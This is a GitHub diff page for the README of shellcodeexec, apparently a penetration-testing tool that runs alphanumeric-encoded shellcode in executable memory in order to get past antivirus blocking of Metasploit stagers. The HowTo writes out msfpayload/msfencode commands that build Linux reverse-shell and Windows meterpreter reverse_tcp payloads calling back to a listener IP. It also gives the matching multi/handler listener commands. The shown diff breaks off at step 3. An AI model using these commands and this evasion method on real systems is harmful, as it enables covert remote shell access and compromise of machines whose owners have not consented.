You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README
+19-5Lines changed: 19 additions & 5 deletions
Original file line number
Diff line number
Diff line change
@@ -10,7 +10,7 @@ Most of the shellcode launchers out there, including proof of concepts part of m
10
10
11
11
= Description =
12
12
13
-
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once easily then run your shellcode across different architectures and operating systems.
13
+
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.
14
14
15
15
Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:
16
16
@@ -35,21 +35,35 @@ shellcodeexec:
35
35
36
36
* Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
37
37
38
-
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode to Metasploit's msfencode to encode it with the alpha_mixed encoder. Use the BufferRegister variable to set the registry where the address in memory of the shellcode is stored, to avoid get_pc() binary stub to be prepended to the shellcode.
38
+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
39
39
40
40
* Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
41
41
42
42
43
43
= HowTo =
44
44
45
-
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example:
45
+
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:
46
46
47
47
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
48
48
49
-
2. Execute the Metasploit multi/handler listener on your machine. For example:
49
+
Or for a Windows target:
50
+
51
+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
52
+
53
+
54
+
2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:
50
55
51
56
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
52
57
53
-
3. On the target system, execute the alphanumeric-encoded shellcode with this tool:
58
+
Or for a Windows target:
59
+
60
+
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
61
+
62
+
63
+
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:
0 commit comments